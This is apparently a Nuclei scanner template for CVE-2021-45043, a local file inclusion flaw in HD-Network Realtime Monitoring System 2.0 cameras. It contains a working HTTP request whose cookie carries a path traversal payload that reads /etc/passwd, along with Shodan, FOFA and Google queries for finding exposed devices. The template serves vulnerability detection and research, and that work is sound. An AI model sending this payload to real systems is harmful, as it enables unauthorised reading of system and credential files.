HD-Network Realtime Monitoring System 2.0 - Local File Inclusion

id: CVE-2021-45043

info:
  name: HD-Network Realtime Monitoring System 2.0 - Local File Inclusion
  author: Momen Eldawakhly,Evan Rubinstein
  severity: high
  description: Instances of HD-Network Realtime Monitoring System version 2.0 are vulnerable to a Local File Inclusion vulnerability which allows remote unauthenticated attackers to view confidential information.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in HD-Network Realtime Monitoring System 2.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45043
    - https://www.exploit-db.com/exploits/50588
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45043
    - https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45043
    cwe-id: CWE-22
    epss-score: 0.33133
    epss-percentile: 0.98199
    cpe: cpe:2.3:a:hd-network_real-time_monitoring_system_project:hd-network_real-time_monitoring_system:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hd-network_real-time_monitoring_system_project
    product: hd-network_real-time_monitoring_system
    shodan-query: http.title:"hd-network real-time monitoring system v2.0"
    fofa-query: title="hd-network real-time monitoring system v2.0"
    google-query:
      - intitle:"HD-Network Real-time Monitoring System V2.0"
      - intitle:"hd-network real-time monitoring system v2.0"
  tags: cve2021,cve,camera,edb,hdnetwork,lfi,iot,hd-network_real-time_monitoring_system_project,vuln

http:
  - raw:
      - |
        GET /language/lang HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100953312c850a3b6392272543289f88b861212559870f0473cfe768a3fb34f10b102203bc178a1bec3ac818ea757fcdb42ac155eefab115844ac057424260cee226faf:922c64590222798bb761d5b6d8e72950